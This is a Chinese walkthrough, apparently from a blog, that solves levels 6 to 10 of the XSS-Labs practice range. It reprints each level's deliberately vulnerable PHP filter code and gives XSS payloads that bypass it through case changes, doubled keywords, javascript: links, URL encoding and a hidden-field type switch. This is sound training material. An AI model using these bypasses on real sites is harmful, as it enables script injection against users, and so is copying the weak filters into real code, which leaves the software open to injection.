赞
踩
点击跳转:
XSS-Labs靶场“1-5”关通关教程
首先我们使用1双引号来进行闭合可以看到闭合了,下面我们使用1"<script>alert(1)</script>
来观察回显:
这里我们可以看到肯定是加了过滤的,所以我们这里使用事件进行尝试:
1" οnclick="alert(1)
可以看到也对on进行了过滤,所以我们这里查看源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
我们可以看到过滤了很多东西,但是我们很明显刚才第五关是使用了大小写转换的,但是第六关并没有,所以我们可以使用大小写进行绕过。
"Onclick="alert(1)
然后点击触发:
"><a Href="javascript:alert(1)">zy</a>//
点击即可完成触发:
当然,解法不止这两种,可以自己去尝试,这里不过多赘述。
这里我们就不做测试了,和第六关一样的测试过程,观察回显即可,我们直接看源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这里我们可以看到它将一系列恶意字符串进行了置空:
所以本关我们直接采用双写来进行绕过:
"oonnclick="alert(1)
点击即可完成触发:
当然,我们也可以使用script:
"><scrscriptipt>alert(1)</scrscriptipt>//
这里我们使用伪协议:
javascript:alert(1)
来进行尝试,因为它是将其放入a标签中:
所以这里进行测试:
我们可以看到它将javascript
进行了过滤,所以我们分析源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
可以看到它对双引号、src、data等等进行了过滤,同时进行了大小写转换,所以这里利用URL编码来完成:
javascript:alert(1)
javascript:alert(1)
点击即可完成触发:
这里我们看见友情链接猜测和上一关基本相同,使用上一关payload进行尝试:
我们可以看到直接输出了链接不合法,下面我们查看源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
这里我们可以看到会出现链接不合法的原因便在于最后的if判断,如果我们输入的字符串中http://首次出现的位置即传入的值中是否有http://,所以我们可以创建以下payload:
javascript:alert()//http://
这里我们将http://放在最后面注释掉,从而完成注入:
点击即可完成触发:
当然,我们也可以将http://放入:
javascript:alert('http://')
点击即可完成触发:
首先我们依旧是进行测试:
"><script>alert</script>
这里我们会发现这里参数都是hidden状态,从表面上看貌似没有利用点,所以这里我们查看源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这里我们会发现首先是GET传参给t_sort,然后进行了尖括号的过滤,最后我们会发现有一个隐藏的传参方式,即为t_sort,所以我们需要将其类型进行改变,改为text:
?t_sort="οnclick=javascript:alert() type="text
点击即可完成触发:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。